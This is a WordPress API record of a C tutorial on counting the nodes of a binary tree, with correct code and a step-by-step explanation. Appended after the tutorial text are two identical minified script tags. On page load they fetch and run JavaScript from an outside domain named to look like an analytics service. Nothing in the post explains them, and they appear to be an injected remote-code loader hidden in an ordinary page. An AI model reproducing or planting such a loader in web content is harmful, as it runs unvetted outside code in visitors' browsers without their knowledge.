{"id":671,"date":"2024-10-10T13:40:00","date_gmt":"2024-10-10T08:10:00","guid":{"rendered":"https:\/\/codexplained.in\/?p=671"},"modified":"2025-11-24T15:58:15","modified_gmt":"2025-11-24T10:28:15","slug":"count-nodes-in-binary-tree","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=671","title":{"rendered":"Count Nodes in Binary Tree"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\n\/\/ Define a structure for the nodes in the binary tree\nstruct Node {\n    int data;\n    struct Node* left;\n    struct Node* right;\n};\n\n\/\/ Function to create a new node\nstruct Node* createNode(int data) {\n    struct Node* newNode = (struct Node*)malloc(sizeof(struct Node));\n    newNode-&gt;data = data;\n    newNode-&gt;left = NULL;\n    newNode-&gt;right = NULL;\n    return newNode;\n}\n\n\/\/ Function to count the nodes in the binary tree\nint countNodes(struct Node* root) {\n    \/\/ Base case: If the tree is empty, return 0\n    if (root == NULL)\n        return 0;\n    \/\/ Recursively count nodes in left and right subtrees, and add 1 for the current node\n    return 1 + countNodes(root-&gt;left) + countNodes(root-&gt;right);\n}\n\nint main() {\n    \/\/ Create the root node and other nodes\n    struct Node* root = createNode(1);\n    root-&gt;left = createNode(2);\n    root-&gt;right = createNode(3);\n    root-&gt;left-&gt;left = createNode(4);\n    root-&gt;left-&gt;right = createNode(5);\n    root-&gt;right-&gt;left = createNode(6);\n    root-&gt;right-&gt;right = createNode(7);\n\n    \/\/ Count the total number of nodes in the binary tree\n    int totalNodes = countNodes(root);\n    printf(&quot;Total number of nodes in the binary tree: %d\\n&quot;, totalNodes);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Step 1: Structure Definition<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Node Structure<\/strong>: A structure named <code>Node<\/code> is defined to represent each node in the binary tree. It has three fields:\n<ul class=\"wp-block-list\">\n<li><code>data<\/code>: Holds the integer value for the node.<\/li>\n\n\n\n<li><code>left<\/code>: A pointer to the left child of the node.<\/li>\n\n\n\n<li><code>right<\/code>: A pointer to the right child of the node.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 2: Creating a New Node<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>createNode()<\/code> Function<\/strong>: This function takes an integer value as input, creates a new node using <code>malloc<\/code>, sets its <code>data<\/code> field to the given value, and initializes its <code>left<\/code> and <code>right<\/code> pointers to <code>NULL<\/code>.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 3: Counting Nodes<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>countNodes()<\/code> Function<\/strong>: This recursive function calculates the total number of nodes in the tree.\n<ul class=\"wp-block-list\">\n<li><strong>Base Case<\/strong>: If the <code>root<\/code> is <code>NULL<\/code>, it means the tree is empty or a subtree is finished, so it returns <code>0<\/code>.<\/li>\n\n\n\n<li><strong>Recursive Case<\/strong>: For non-empty trees, it recursively calls <code>countNodes<\/code> for the left and right children and adds <code>1<\/code> for the current node. The expression <code>1 + countNodes(root-&gt;left) + countNodes(root-&gt;right)<\/code> is used to add up nodes from both subtrees and the current node.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Step 4: Main Function and Tree Creation<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>In the <code>main()<\/code> function:\n<ul class=\"wp-block-list\">\n<li>The root node and other nodes are created to form the binary tree.<\/li>\n\n\n\n<li>The tree structure looks like this:<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>    1\n   \/ \\\n  2   3\n \/ \\ \/ \\\n4  5 6  7\n<\/code><\/pre>\n\n\n\n<p>The <code>countNodes()<\/code> function is called with the root of the tree, and the result is printed.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Output<\/h2>\n\n\n\n<p>When you run this program, the output will be:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Total number of nodes in the binary tree: 7\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Output<\/h3>\n\n\n\n<p>The given binary tree has 7 nodes:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Node <code>1<\/code> (root)<\/li>\n\n\n\n<li>Nodes <code>2<\/code> and <code>3<\/code> (children of <code>1<\/code>)<\/li>\n\n\n\n<li>Nodes <code>4<\/code> and <code>5<\/code> (children of <code>2<\/code>)<\/li>\n\n\n\n<li>Nodes <code>6<\/code> and <code>7<\/code> (children of <code>3<\/code>)<\/li>\n<\/ul>\n\n\n\n<p>The <code>countNodes()<\/code> function counts each of these nodes, resulting in a total of <code>7<\/code>.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation Step 1: Structure Definition Step 2: Creating a New Node Step 3: Counting Nodes Step 4: Main Function and Tree Creation The countNodes() function is called with the root of the tree, and the result is printed. Output When you run this program, the output will be: Explanation of the Output The given binary [&hellip;]<\/p>\n","protected":false},"author":40,"featured_media":673,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-671","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/671","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/40"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=671"}],"version-history":[{"count":4,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/671\/revisions"}],"predecessor-version":[{"id":1467,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/671\/revisions\/1467"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/673"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=671"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=671"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=671"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}